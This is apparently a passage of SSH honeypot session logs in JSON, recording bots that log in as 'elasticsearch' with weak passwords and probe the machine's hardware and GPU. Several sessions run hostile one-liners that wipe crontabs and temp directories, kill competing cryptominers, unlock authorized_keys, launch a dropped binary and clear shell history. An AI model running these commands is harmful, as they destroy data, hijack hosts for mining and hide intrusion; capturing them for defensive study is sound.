{"id":"1cce6a5d-dd14-4963-bdd6-cf37af612d8a","name":"whispering-snowy-chough","protocol":"ssh","channel_kind":null,"src_ip":"77.239.124.249","src_port":42916,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:02:43.783681+00:00","ended_at":"2026-08-26T12:02:51.870614+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"86fccb70-8cc3-4b0d-aa7a-997d8b2ce89f","name":"marine-buoyant-chinchilla","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":49570,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":599,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T12:02:40.338552+00:00","ended_at":"2026-08-26T12:02:51.869609+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1671,"events":[{"seq":1,"at":"2026-08-26T12:01:35.644233+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T12:01:40.808130+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T12:01:41.407217+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T12:01:44.914627+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T12:01:45.330760+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T12:01:49.573488+00:00","kind":"output","latency_ms":null,"data":"6 days, 8:51"},{"seq":7,"at":"2026-08-26T12:01:50.517211+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T12:01:55.093147+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T12:01:55.464826+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T12:01:58.848202+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T12:01:59.122936+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T12:02:03.616464+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T12:02:04.719920+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T12:02:07.999117+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T12:02:09.301120+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T12:02:14.800347+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T12:02:15.224877+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T12:02:17.969553+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T12:02:18.306153+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T12:02:23.444156+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T12:02:24.443116+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T12:02:27.903357+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T12:02:28.420023+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T12:02:33.538645+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T12:02:34.436141+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T12:02:40.339181+00:00","kind":"input","latency_ms":null,"data":"echo elasticsearch@1234 > /tmp/d.log"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"a4be4f3e-64b6-40c1-83b4-68a493eab519","name":"dewy-glassy-bobcat","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":47970,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":178,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T05:59:10.914341+00:00","ended_at":"2026-08-26T05:59:14.843625+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-26T05:58:22.571001+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T05:58:25.870441+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T05:58:26.070613+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T05:58:31.567413+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T05:58:31.735879+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T05:58:35.299206+00:00","kind":"output","latency_ms":null,"data":"6 days, 2:48"},{"seq":7,"at":"2026-08-26T05:58:35.500607+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T05:58:38.692299+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T05:58:38.861295+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T05:58:43.898682+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T05:58:44.077648+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T05:58:49.145204+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T05:58:49.560721+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T05:58:52.939006+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T05:58:53.110989+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T05:58:58.954799+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T05:58:59.118153+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T05:59:01.957573+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T05:59:02.149224+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T05:59:08.044389+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T05:59:08.213677+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T05:59:10.734354+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T05:59:10.915082+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T05:59:14.513378+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elasticsearch","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"5c472553-b457-4dc5-9e4a-1680c1d3304b","name":"vaulted-honest-bison","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":59218,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":240,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T05:46:40.336332+00:00","ended_at":"2026-08-26T05:46:44.686890+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-26T05:45:49.579151+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T05:45:54.777875+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T05:45:55.178991+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T05:46:00.065080+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T05:46:00.304921+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T05:46:02.883214+00:00","kind":"output","latency_ms":null,"data":"6 days, 2:36"},{"seq":7,"at":"2026-08-26T05:46:03.092620+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T05:46:08.419952+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T05:46:08.657567+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T05:46:12.653687+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T05:46:12.957483+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T05:46:17.873297+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T05:46:18.346593+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T05:46:21.009472+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T05:46:21.442770+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T05:46:24.254932+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T05:46:24.565295+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T05:46:28.783480+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T05:46:28.984083+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T05:46:34.165795+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T05:46:34.333775+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T05:46:40.172096+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T05:46:40.337149+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T05:46:44.582638+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch","method":"password","accepted":true,"tier":"other"}]} {"id":"d2c6c23f-fac6-4789-bb26-25a6f53a803c","name":"smooth-feathered-petrel","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.200","src_port":48904,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T05:38:38.207749+00:00","ended_at":"2026-08-26T05:38:40.361106+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"c07cce18-d8b2-4942-b5be-c2476fc58d1b","name":"daring-mottled-goldcrest","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":59926,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":223,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T05:38:33.502322+00:00","ended_at":"2026-08-26T05:38:40.362146+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1671,"events":[{"seq":1,"at":"2026-08-26T05:37:33.364011+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T05:37:37.439374+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T05:37:37.639846+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T05:37:40.941066+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T05:37:41.120734+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T05:37:45.587406+00:00","kind":"output","latency_ms":null,"data":"6 days, 2:27"},{"seq":7,"at":"2026-08-26T05:37:45.809563+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T05:37:50.462118+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T05:37:50.716903+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T05:37:55.743913+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T05:37:55.939915+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T05:37:59.941663+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T05:38:00.116321+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T05:38:04.472724+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T05:38:04.734103+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T05:38:07.346657+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T05:38:07.715506+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T05:38:13.218012+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T05:38:13.429722+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T05:38:16.961708+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T05:38:17.214809+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T05:38:21.619964+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T05:38:21.889918+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T05:38:27.409130+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T05:38:27.574250+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T05:38:33.503117+00:00","kind":"input","latency_ms":null,"data":"echo elasticsearch@1234 > /tmp/d.log"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"a1da6eb3-eae9-489a-9c19-2490bac80337","name":"rugged-granite-eagle","protocol":"ssh","channel_kind":"exec","src_ip":"104.43.56.65","src_port":51674,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":451,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T23:33:23.706174+00:00","ended_at":"2026-08-25T23:33:25.040941+00:00","ended_reason":"exec complete","commands":9,"transcript_bytes":617,"events":[{"seq":1,"at":"2026-08-25T23:33:06.733202+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T23:33:08.670147+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T23:33:09.122955+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":4,"at":"2026-08-25T23:33:10.613840+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T23:33:11.062868+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":6,"at":"2026-08-25T23:33:13.264849+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-25T23:33:13.715709+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":8,"at":"2026-08-25T23:33:15.066604+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":9,"at":"2026-08-25T23:33:15.520907+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":10,"at":"2026-08-25T23:33:17.233290+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":11,"at":"2026-08-25T23:33:17.731088+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":12,"at":"2026-08-25T23:33:19.527469+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":13,"at":"2026-08-25T23:33:19.975343+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":14,"at":"2026-08-25T23:33:21.203870+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":15,"at":"2026-08-25T23:33:21.654064+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T23:33:23.255164+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T23:33:23.706920+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T23:33:24.816791+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"}],"credentials":[{"username":"elasticsearch","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"ab03db24-11bb-4a82-9013-6aeb02fc90ea","name":"murky-regal-finch","protocol":"ssh","channel_kind":"exec","src_ip":"104.43.56.65","src_port":48516,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":448,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T23:12:19.301366+00:00","ended_at":"2026-08-25T23:12:20.591327+00:00","ended_reason":"exec complete","commands":10,"transcript_bytes":1353,"events":[{"seq":1,"at":"2026-08-25T23:11:29.512732+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T23:11:31.110139+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T23:11:31.559046+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":4,"at":"2026-08-25T23:11:33.701146+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T23:11:34.147545+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":6,"at":"2026-08-25T23:11:35.005796+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-25T23:11:35.457775+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":8,"at":"2026-08-25T23:11:37.054137+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":9,"at":"2026-08-25T23:11:37.500367+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":10,"at":"2026-08-25T23:11:39.431196+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":11,"at":"2026-08-25T23:11:39.879069+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":12,"at":"2026-08-25T23:11:41.375885+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":13,"at":"2026-08-25T23:11:41.824917+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":14,"at":"2026-08-25T23:11:43.766472+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":15,"at":"2026-08-25T23:11:44.213140+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T23:11:45.161932+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T23:11:45.608722+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T23:11:47.335493+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T23:12:19.303246+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ; pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 TfkKQmFk ; ./TfkKQmFk /dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch","method":"password","accepted":true,"tier":"other"}]} {"id":"4a6d5750-734b-442a-b022-8884a0e5b774","name":"merry-muted-caribou","protocol":"ssh","channel_kind":null,"src_ip":"104.43.56.65","src_port":33668,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T23:11:48.462272+00:00","ended_at":"2026-08-25T23:12:20.592599+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"elasticsearch","method":"password","accepted":true,"tier":"other"}]} {"id":"b734462e-a2c1-426f-b63f-dee0ed913e9f","name":"airy-bronzed-skylark","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":39032,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":235,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T01:44:00.105336+00:00","ended_at":"2026-08-25T01:44:03.798112+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-25T01:43:07.308666+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T01:43:13.048025+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T01:43:13.497498+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T01:43:19.300543+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T01:43:19.517429+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T01:43:22.779702+00:00","kind":"output","latency_ms":null,"data":"4 days, 22:33"},{"seq":7,"at":"2026-08-25T01:43:23.009630+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T01:43:25.948735+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T01:43:26.115765+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T01:43:31.570542+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T01:43:31.806744+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T01:43:37.757071+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T01:43:38.221721+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T01:43:43.979868+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, 